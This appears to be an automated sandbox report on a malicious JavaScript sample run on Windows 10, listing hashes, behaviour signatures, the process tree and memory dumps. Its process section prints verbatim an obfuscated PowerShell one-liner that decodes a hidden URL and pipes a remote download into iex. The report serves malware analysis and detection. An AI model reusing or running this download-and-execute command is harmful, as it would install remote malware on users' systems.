Analysis

  • max time kernel
    95s
  • max time network
    96s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-12-2024 14:48

General

  • Target

    8cead036023724fc3ebd0a3159a858e08bece866cde00d1d786a9cb55dd471fb.js

  • Size

    196KB

  • MD5

    3cca4f8f7f8b3686171c3dcccbda6f7a

  • SHA1

    8bfb956c6e8c2825e8b0f2f3f329798b6a63a306

  • SHA256

    8cead036023724fc3ebd0a3159a858e08bece866cde00d1d786a9cb55dd471fb

  • SHA512

    41d73fd8fb62099af9a67f760df046b7520e129e10558fd9bd1b154273fb2e944d5de65856fd21addca9414667cae5f8622b9a522db552fd91f3f7e6580e812e

  • SSDEEP

    3072:n6R/BDhNMpsA+neBDhNopsA+nPpsA+nzBDhNTBDhNw:6R/CrtqrIry9e

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\8cead036023724fc3ebd0a3159a858e08bece866cde00d1d786a9cb55dd471fb.js
    1⤵
      PID:2060
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $cskowuamvy='ur' ;new-alias printout c$($cskowuamvy)l;$aopctlku=(9123,9134,9142,9126,9128,9123,9143,9142,9147,9080,9142,9076,9123,9071,9141,9136,9137,9072,9074,9071,9137,9129,9137,9088,9140,9086,9134,9130,9135,9141,9140,9075,9074);$igzdxb=('bronx','get-cmdlet');$htsbrycfi=$aopctlku;foreach($bxjsakcgh in $htsbrycfi){$wxhlnsgveiaj=$bxjsakcgh;$masybelui=$masybelui+[char]($wxhlnsgveiaj-9025);$eijzfcxpqgnua=$masybelui; $hrjkqlfmzas=$eijzfcxpqgnua};$xvkpsreufyct[2]=$hrjkqlfmzas;$iejywqbkprovgm='rl';$gbfyao=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hrjkqlfmzas)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4264
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $cskowuamvy='ur' ;new-alias printout c$($cskowuamvy)l;$aopctlku=(9123,9134,9142,9126,9128,9123,9143,9142,9147,9080,9142,9076,9123,9071,9141,9136,9137,9072,9074,9071,9137,9129,9137,9088,9140,9086,9134,9130,9135,9141,9140,9075,9074);$igzdxb=('bronx','get-cmdlet');$htsbrycfi=$aopctlku;foreach($bxjsakcgh in $htsbrycfi){$wxhlnsgveiaj=$bxjsakcgh;$masybelui=$masybelui+[char]($wxhlnsgveiaj-9025);$eijzfcxpqgnua=$masybelui; $hrjkqlfmzas=$eijzfcxpqgnua};$xvkpsreufyct[2]=$hrjkqlfmzas;$iejywqbkprovgm='rl';$gbfyao=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hrjkqlfmzas)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1576

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xy2avwxx.y0s.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1576-0-0x00007FFF0CB43000-0x00007FFF0CB45000-memory.dmp

      Filesize

      8KB

    • memory/1576-6-0x00000273CCE40000-0x00000273CCE62000-memory.dmp

      Filesize

      136KB

    • memory/1576-11-0x00007FFF0CB40000-0x00007FFF0D601000-memory.dmp

      Filesize

      10.8MB

    • memory/1576-12-0x00007FFF0CB40000-0x00007FFF0D601000-memory.dmp

      Filesize

      10.8MB

    • memory/1576-13-0x00007FFF0CB40000-0x00007FFF0D601000-memory.dmp

      Filesize

      10.8MB

    • memory/1576-14-0x00007FFF0CB40000-0x00007FFF0D601000-memory.dmp

      Filesize

      10.8MB

    • memory/1576-15-0x00007FFF0CB43000-0x00007FFF0CB45000-memory.dmp

      Filesize

      8KB

    • memory/1576-16-0x00007FFF0CB40000-0x00007FFF0D601000-memory.dmp

      Filesize

      10.8MB

    • memory/1576-19-0x00007FFF0CB40000-0x00007FFF0D601000-memory.dmp

      Filesize

      10.8MB